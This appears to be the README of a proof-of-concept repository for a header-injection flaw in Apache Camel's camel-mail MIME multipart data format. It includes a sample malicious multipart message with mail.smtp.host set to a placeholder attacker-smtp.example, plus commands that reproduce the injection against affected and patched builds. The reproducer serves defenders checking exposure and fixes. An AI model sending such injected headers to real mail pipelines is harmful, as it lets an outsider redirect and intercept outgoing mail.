CVE-2026-85314 — camel-mail: MimeMultipart header injection (mail.smtp*)

Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the camel-mail MimeMultipart data format mapped a message's headers onto the Exchange on unmarshal using a plain DefaultHeaderFilterStrategy, which does not strip the mail.smtp. / mail.smtps. namespace. CVE-2026-46584 closed the path where mail headers reached the Exchange unfiltered, but this data format kept an unfiltered one: those header names carry no Camel prefix (so a consumer's header filter does not block them either), and the mail.smtp namespace controls how a downstream mail producer connects and sends. An external sender of a multipart message could therefore inject JavaMail session properties and redirect the mail connection (CWE-20). It is an incomplete fix of CVE-2026-46584 rather than a new defect class.

Runtime	Directory	Stack
Camel Spring Boot	camel-spring-boot/	Spring Boot 3.5.13 + camel-mail 4.22.0 (affected; fixed 4.22.1)
Camel Quarkus	camel-quarkus/	Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, affected; fixed control CQ 3.40.0 / Camel 4.22.1)

Both modules demonstrate the affected and the fixed behaviour against the real MimeMultipartDataFormat.

What it demonstrates

The driver unmarshals an attacker-controlled multipart message (inline-headers mode, mirroring the fix's own MimeMultipartDataFormatTest) that carries JavaMail session properties as MIME headers, then reports which ones landed on the Exchange:

mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me          <- an unrelated header, should always survive
Content-Type: text/plain

Body text

• Affected: mail.smtp.host, mail.smtp.port, mail.smtps.auth all survive unmarshal and become Exchange headers — a downstream mail producer would read them, so the sender redirects where mail is sent.
• Fixed: the mail.smtp.* namespace is filtered out on unmarshal (via MailHeaderFilterStrategy), while the unrelated X-Normal header is kept.

# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: mail.smtp* injected = false; >>> Not exploited

# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: mail.smtp* injected = false

Vulnerability Summary

Property	Value
Component	camel-mail (MimeMultipartDataFormat, unmarshal)
CWE	CWE-20 (Improper Input Validation)
Severity	MEDIUM
Attack vector	An external sender's multipart message carries mail.smtp.* MIME headers; unmarshalling maps them onto the Exchange
Impact	Injected JavaMail session properties steer how/where a downstream mail producer connects and sends
Affected Versions	From 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1
Fixed Versions	4.18.5, 4.22.1, 4.23.0
JIRA	CAMEL-24419
Related	Incomplete fix of CVE-2026-46584
Credit	Claude Security Scan Tool

Advisory: https://camel.apache.org/security/CVE-2026-85314.html

The Quarkus affected module is built on CQ 3.39.0 (Camel 4.22.0). The patched control is CQ 3.40.0 (Camel 4.22.1).

The fix

MimeMultipartDataFormat now uses MailHeaderFilterStrategy instead of DefaultHeaderFilterStrategy, so the mail.smtp. / mail.smtps. namespace is filtered on unmarshal exactly as the mail consumer filters it on the inbound side (CAMEL-23522) — closing the path CVE-2026-46584 left open.

Mitigation if you cannot upgrade

Strip the namespace after the data format with removeHeaders("mail.smtp*") before any mail producer.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The multipart message is an in-process benign fixture; attacker-smtp.example is a placeholder and no mail is sent. Do not use this material against systems you do not own or operate.